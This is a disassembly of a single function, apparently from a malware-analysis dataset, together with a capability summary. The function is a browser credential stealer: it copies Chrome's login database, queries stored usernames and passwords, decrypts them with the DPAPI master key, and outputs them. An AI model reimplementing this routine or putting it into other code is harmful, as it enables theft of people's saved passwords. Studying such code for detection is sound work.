Function at 0x403969
Capabilities:
Check if file exists
Copy file
Encrypt data using dpapi
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49e8cc
mov eax, dword fs:[0]
push eax
mov eax, 0x65ad8
call fcn.0045bcf0
mov eax, dword [0x4c2014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor ebx, ebx
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x65ab0], ebx
mov dword [ebp - 0x6598c], ebx
mov dword [ebp - 0x6597c], ebx
mov dword [ebp - 0x65978], 0xf
mov byte [ebp - 0x6598c], bl
lea eax, [ebp - 0x114]
mov dword [ebp - 4], ebx
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x4039e4
mov eax, dword [esi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40444b
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x6598c]
call fcn.00405217
cmp dword [ebp - 0x6597c], 0
je 0x40444b
push 9
push str.chromeTmp
lea ecx, [ebp - 0x6598c]
call fcn.00405281
cmp dword [ebp - 0x65978], 0x10
lea eax, [ebp - 0x6598c]
cmovae eax, dword [ebp - 0x6598c]
cmp dword [esi + 0x14], 0x10
jb 0x403a40
mov esi, dword [esi]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40444b
push 0xf
pop esi
mov dword [ebp - 0x65a04], ebx
lea ecx, [ebp - 0x65a04]
push str.select_origin_url__username_value__password_value_from_logins
mov dword [ebp - 0x65ab4], ebx
mov dword [ebp - 0x65aa8], ebx
mov dword [ebp - 0x659f4], ebx
mov dword [ebp - 0x659f0], esi
mov byte [ebp - 0x65a04], bl
call fcn.00405217
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x6598c]
cmp dword [ebp - 0x65978], 0x10
lea edx, [ebp - 0x65ab4]
push ebx
cmovae ecx, dword [ebp - 0x6598c]
push 2
call fcn.004581cd
pop ecx
pop ecx
test eax, eax
jne 0x403af5
cmp dword [ebp - 0x659f0], 0x10
lea ecx, [ebp - 0x65aa8]
push ebx
push ecx
push dword [ebp - 0x659f4]
lea eax, [ebp - 0x65a04]
cmovae eax, dword [ebp - 0x65a04]
push eax
push dword [ebp - 0x65ab4]
call fcn.00443508
add esp, 0x14
test eax, eax
je 0x403b07
push dword [ebp - 0x65aa8]
call fcn.00423bf4
pop ecx
mov ecx, dword [ebp - 0x65ab4]
xor edx, edx
call fcn.00456f1f
jmp 0x404440
mov dword [ebp - 0x659ec], ebx
mov dword [ebp - 0x659dc], ebx
mov dword [ebp - 0x659d8], esi
mov byte [ebp - 0x659ec], bl
mov dword [ebp - 0x6592c], ebx
mov dword [ebp - 0x6591c], ebx
mov dword [ebp - 0x65918], esi
mov byte [ebp - 0x6592c], bl
mov dword [ebp - 0x65a64], ebx
mov dword [ebp - 0x65a54], ebx
mov dword [ebp - 0x65a50], esi
mov byte [ebp - 0x65a64], bl
mov byte [ebp - 4], 4
cmp dword [edi + 0x14], 0x10
jb 0x403b5b
mov edi, dword [edi]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
lea ecx, [ebp - 0x65ad4]
push ecx
push 0x64000
lea ecx, [ebp - 0x64114]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x64114]
push eax
lea ecx, [ebp - 0x659ec]
call fcn.00405217
cmp dword [ebp - 0x659d8], 0x10
lea esi, [ebp - 0x659ec]
push ecx
cmovae esi, dword [ebp - 0x659ec]
lea ecx, [ebp - 0x659ec]
push str._encrypted_key_:_
call fcn.00404c68
add esi, 0x11
lea ecx, [ebp - 0x6592c]
add eax, esi
push eax
call fcn.00405217
push ecx
push 0x4b448c
lea ecx, [ebp - 0x6592c]
call fcn.00404c68
push eax
lea ecx, [ebp - 0x6592c]
call fcn.00404ce9
push 0xf
pop edi
mov dword [ebp - 0x6595c], ebx
mov dword [ebp - 0x6594c], ebx
mov dword [ebp - 0x65948], edi
mov byte [ebp - 0x6595c], bl
mov dword [ebp - 0x65974], ebx
mov dword [ebp - 0x65964], ebx
mov dword [ebp - 0x65960], edi
mov byte [ebp - 0x65974], bl
push 0x40
mov byte [ebp - 4], 6
call fcn.0045aea0
mov esi, eax
mov dword [ebp - 0x65ac0], esi
push 0x14
mov byte [ebp - 4], 7
call fcn.0045aea0
pop ecx
pop ecx
mov dword [ebp - 0x65abc], eax
lea ecx, [ebp - 0x6595c]
mov byte [ebp - 4], 8
push ecx
mov ecx, eax
call fcn.004048ce
push eax
push 6
mov byte [ebp - 4], 7
call fcn.00473170
push eax
mov ecx, esi
call fcn.00402a56
mov dword [esi], vtable.CryptoPP::Base64Decoder.1.0
lea eax, [ebp - 0x6592c]
mov dword [esi + 4], vtable.CryptoPP::Base64Decoder.0
mov byte [ebp - 4], 6
cmp dword [ebp - 0x65918], 0x10
cmovae eax, dword [ebp - 0x6592c]
push esi
push ecx
push dword [ebp - 0x6591c]
lea ecx, [ebp - 0x65aa4]
push eax
call fcn.0040296f
lea ecx, [ebp - 0x65aa4]
call fcn.004047c6
lea eax, [ebp - 0x6595c]
push eax
lea ecx, [ebp - 0x6592c]
call fcn.00404d32
push 0xffffffffffffffff
push 5
lea eax, [ebp - 0x6592c]
mov dword [ebp - 0x659bc], ebx
push eax
lea ecx, [ebp - 0x659bc]
mov dword [ebp - 0x659ac], ebx
mov dword [ebp - 0x659a8], edi
call fcn.004053ca
mov byte [ebp - 0x65ab0], bl
lea eax, [ebp - 0x659bc]
push dword [ebp - 0x65ab0]
lea ecx, [ebp - 0x6592c]
push eax
call fcn.0040533c
lea ecx, [ebp - 0x659bc]
call fcn.00405190
cmp dword [ebp - 0x65948], 0x10
lea eax, [ebp - 0x6595c]
mov dword [ebp - 0x6594c], ebx
lea ecx, [ebp - 0x6592c]
cmovae eax, dword [ebp - 0x6595c]
lea edx, [ebp - 0x65914]
mov byte [eax], bl
cmp dword [ebp - 0x65918], 0x10
cmovae ecx, dword [ebp - 0x6592c]
push ecx
call fcn.00402f3d
lea eax, [ebp - 0x65914]
push eax
push 0x4b4684
push 0xffffffffffffffff
lea eax, [ebp - 0x64914]
push 0x800
push eax
call fcn.00401603
add esp, 0x18
lea eax, [ebp - 0x64914]
lea ecx, [ebp - 0x6592c]
push eax
call fcn.00405217
push 0x50
call fcn.0045aea0
mov esi, eax
mov dword [ebp - 0x65ac0], esi
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x659a4]
mov dword [ebp - 0x659a4], ebx
mov dword [ebp - 0x65994], ebx
mov dword [ebp - 0x65990], edi
mov byte [ebp - 0x659a4], bl
mov dword [esp], 0x4b435b
call fcn.00405217
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x65944]
mov dword [ebp - 0x65944], ebx
push 0x4b4624
mov dword [ebp - 0x65ab0], 0x11
mov dword [ebp - 0x65934], ebx
mov dword [ebp - 0x65930], edi
mov byte [ebp - 0x65944], bl
call fcn.00405217
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x65ab0], 0x13
push 0x14
call fcn.0045aea0
pop ecx
mov dword [ebp - 0x65abc], eax
lea ecx, [ebp - 0x65974]
mov dword [ebp - 4], 0xc
push ecx
mov ecx, eax
call fcn.004048ce
lea ecx, [ebp - 0x659a4]
mov byte [ebp - 4], 0xb
push ecx
lea ecx, [ebp - 0x65944]
push ecx
push ecx
push ecx
push eax
mov ecx, esi
call fcn.00402b5b
push 0x10
pop esi
mov dword [ebp - 4], 0xe
lea ecx, [ebp - 0x6592c]
cmp dword [ebp - 0x65918], esi
push eax
cmovae ecx, dword [ebp - 0x6592c]
push ecx
push dword [ebp - 0x6591c]
push ecx
lea ecx, [ebp - 0x65aa4]
call fcn.0040296f
lea ecx, [ebp - 0x65aa4]
call fcn.004047c6
lea ecx, [ebp - 0x65944]
call fcn.00405190
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x659a4]
mov dword [ebp - 0x65aac], esi
call fcn.00405190
lea eax, [ebp - 0x65974]
push eax
lea ecx, [ebp - 0x6592c]
call fcn.00404d32
cmp dword [ebp - 0x65960], esi
lea eax, [ebp - 0x65974]
mov dword [ebp - 0x65964], ebx
cmovae eax, dword [ebp - 0x65974]
mov byte [eax], bl
push dword [ebp - 0x65aa8]
call fcn.00424283
pop ecx
cmp eax, 0x64
jne 0x4043d6
mov word [ebp - 0x65ab8], 0x3176
mov byte [ebp - 0x65ab6], 0x30
mov dword [ebp - 0x659bc], ebx
mov dword [ebp - 0x659ac], ebx
mov dword [ebp - 0x659a8], edi
mov byte [ebp - 0x659bc], bl
mov dword [ebp - 0x65a34], ebx
mov dword [ebp - 0x65a24], ebx
mov dword [ebp - 0x65a20], edi
mov byte [ebp - 0x65a34], bl
mov dword [ebp - 0x659d4], ebx
mov dword [ebp - 0x659c4], ebx
mov dword [ebp - 0x659c0], edi
mov byte [ebp - 0x659d4], bl
mov dword [ebp - 0x65a4c], ebx
mov dword [ebp - 0x65a3c], ebx
mov dword [ebp - 0x65a38], edi
mov byte [ebp - 0x65a4c], bl
mov byte [ebp - 4], 0x12
push ebx
push dword [ebp - 0x65aa8]
call fcn.004246fe
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x659bc]
call fcn.00405217
push 1
push dword [ebp - 0x65aa8]
call fcn.004246fe
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x65a34]
call fcn.00405217
push 2
push dword [ebp - 0x65aa8]
call fcn.00424612
push 2
push dword [ebp - 0x65aa8]
mov dword [ebp - 0x65abc], eax
call fcn.00424637
push 0x50
mov edi, eax
call fcn.0045aea0
mov esi, eax
add esp, 0x14
mov dword [ebp - 0x65ad8], esi
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x65a1c]
mov dword [ebp - 0x65a1c], ebx
push 0x4b435b
mov dword [ebp - 0x65a0c], ebx
mov dword [ebp - 0x65a08], 0xf
mov byte [ebp - 0x65a1c], bl
call fcn.00405217
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x659a4]
mov eax, dword [ebp - 0x65aac]
or eax, 4
mov dword [ebp - 0x659a4], ebx
push 0x4b4624
mov dword [ebp - 0x65aac], eax
mov dword [ebp - 0x65ab0], eax
mov dword [ebp - 0x65994], ebx
mov dword [ebp - 0x65990], 0xf
mov byte [ebp - 0x659a4], bl
call fcn.00405217
mov dword [ebp - 4], 0x15
mov eax, dword [ebp - 0x65aac]
or eax, 8
push 0x14
mov dword [ebp - 0x65aac], eax
mov dword [ebp - 0x65ab0], eax
call fcn.0045aea0
pop ecx
mov dword [ebp - 0x65adc], eax
lea ecx, [ebp - 0x65974]
mov dword [ebp - 4], 0x16
push ecx
mov ecx, eax
call fcn.004048ce
lea ecx, [ebp - 0x65a1c]
mov byte [ebp - 4], 0x15
push ecx
lea ecx, [ebp - 0x659a4]
push ecx
push ecx
push ecx
push eax
mov ecx, esi
call fcn.00402b5b
push eax
push ecx
push edi
mov dword [ebp - 4], 0x18
lea ecx, [ebp - 0x65aa4]
mov edi, dword [ebp - 0x65abc]
push edi
call fcn.0040296f
lea ecx, [ebp - 0x65aa4]
call fcn.004047c6
mov eax, dword [ebp - 0x65aac]
test al, 8
je 0x4040e4
and eax, 0xfffffff7
lea ecx, [ebp - 0x659a4]
mov dword [ebp - 0x65aac], eax
call fcn.00405190
mov eax, dword [ebp - 0x65aac]
mov dword [ebp - 4], 0x12
test al, 4
je 0x404103
and eax, 0xfffffffb
lea ecx, [ebp - 0x65a1c]
mov dword [ebp - 0x65aac], eax
call fcn.00405190
lea eax, [ebp - 0x65974]
mov dword [ebp - 0x65944], ebx
push eax
lea ecx, [ebp - 0x65944]
mov dword [ebp - 0x65934], ebx
mov dword [ebp - 0x65930], ebx
call fcn.004052da
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x65974]
cmp dword [ebp - 0x65960], 0x10
mov dword [ebp - 0x65964], ebx
cmovae eax, dword [ebp - 0x65974]
push 0x40
mov byte [eax], bl
call fcn.0045aea0
mov esi, eax
mov dword [ebp - 0x65ae4], esi
push 0x14
mov byte [ebp - 4], 0x1a
call fcn.0045aea0
pop ecx
pop ecx
mov dword [ebp - 0x65ae0], eax
lea ecx, [ebp - 0x6595c]
mov byte [ebp - 4], 0x1b
push ecx
mov ecx, eax
call fcn.004048ce
push eax
mov ecx, esi
mov byte [ebp - 4], 0x1a
call fcn.00402d46
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x65944]
cmp dword [ebp - 0x65930], 0x10
push eax
cmovae ecx, dword [ebp - 0x65944]
push ecx
push dword [ebp - 0x65934]
push ecx
lea ecx, [ebp - 0x65aa4]
call fcn.0040296f
lea ecx, [ebp - 0x65aa4]
call fcn.004047c6
lea eax, [ebp - 0x6595c]
push eax
lea ecx, [ebp - 0x65944]
call fcn.00404d32
cmp dword [ebp - 0x65948], 0x10
lea eax, [ebp - 0x6595c]
mov dword [ebp - 0x6594c], ebx
lea ecx, [ebp - 0x65ab8]
cmovae eax, dword [ebp - 0x6595c]
mov byte [eax], bl
movzx eax, word [edi]
cmp ax, word [ecx]
jne 0x40428e
movzx eax, byte [edi + 2]
cmp al, byte [ecx + 2]
jne 0x40428e
cmp dword [ebp - 0x6591c], 0
je 0x40428e
sub esp, 0x18
lea eax, [ebp - 0x6592c]
mov ecx, esp
mov dword [ebp - 0x65abc], esp
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.004052da
sub esp, 0x18
mov byte [ebp - 4], 0x1c
mov ecx, esp
lea eax, [ebp - 0x65944]
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.004052da
lea ecx, [ebp - 0x65a1c]
mov byte [ebp - 4], 0x19
call fcn.00402fde
lea ecx, [ebp - 0x659d4]
add esp, 0x30
cmp ecx, eax
je 0x40427e
mov byte [ebp - 0x65ac0], bl
push dword [ebp - 0x65ac0]
push eax
call fcn.0040533c
lea ecx, [ebp - 0x65a1c]
call fcn.00405190
jmp 0x404324
push 1
push dword [ebp - 0x65aa8]
call fcn.00424637
push 1
push dword [ebp - 0x65aa8]
mov dword [ebp - 0x65ad0], eax
call fcn.00424612
add esp, 0x10
mov dword [ebp - 0x65acc], eax
lea eax, [ebp - 0x65ac8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x65ad0]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x404324
mov eax, dword [ebp - 0x65ac8]
inc eax
push eax
call fcn.0045aede
push dword [ebp - 0x65ac8]
mov esi, eax
push dword [ebp - 0x65ac4]
push esi
call fcn.00478db0
mov ecx, dword [ebp - 0x65ac8]
add esp, 0x10
mov byte [ecx + esi], bl
lea ecx, [ebp - 0x659d4]
push esi
call fcn.00405217
push 0x4b4688
lea ecx, [ebp - 0x659d4]
call fcn.00404d11
push esi
call fcn.0045ae8f
pop ecx
push 0x4b4688
lea eax, [ebp - 0x659d4]
push eax
push 0x4b468c
lea eax, [ebp - 0x65a34]
push eax
push 0x4b4690
lea eax, [ebp - 0x659bc]
push eax
push 0x4c5bf0
call fcn.00405844
pop ecx
pop ecx
push eax
call fcn.0040569f
pop ecx
pop ecx
push eax
call fcn.00405844
pop ecx
pop ecx
push eax
call fcn.0040569f
pop ecx
pop ecx
push eax
call fcn.00405844
pop ecx
pop ecx
push eax
call fcn.0040569f
push eax
call fcn.00405812
add esp, 0xc
lea ecx, [ebp - 0x65944]
call fcn.00405190
lea ecx, [ebp - 0x65a4c]
call fcn.00405190
lea ecx, [ebp - 0x659d4]
call fcn.00405190
lea ecx, [ebp - 0x65a34]
call fcn.00405190
lea ecx, [ebp - 0x659bc]
mov byte [ebp - 4], 6
call fcn.00405190
push dword [ebp - 0x65aa8]
call fcn.00424283
pop ecx
push 0xf
pop edi
cmp eax, 0x64
je 0x403efc
cmp dword [ebp - 0x65aa8], 0
je 0x4043f1
push dword [ebp - 0x65aa8]
call fcn.00423bf4
pop ecx
mov dword [ebp - 0x65aa8], ebx
cmp dword [ebp - 0x65ab4], 0
je 0x404407
mov ecx, dword [ebp - 0x65ab4]
xor edx, edx
call fcn.00456f1f
lea ecx, [ebp - 0x65974]
mov bl, 1
call fcn.00405190
lea ecx, [ebp - 0x6595c]
call fcn.00405190
lea ecx, [ebp - 0x65a64]
call fcn.00405190
lea ecx, [ebp - 0x6592c]
call fcn.00405190
lea ecx, [ebp - 0x659ec]
call fcn.00405190
lea ecx, [ebp - 0x65a04]
call fcn.00405190
lea ecx, [ebp - 0x6598c]
call fcn.00405190
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045ae81
leave
ret 8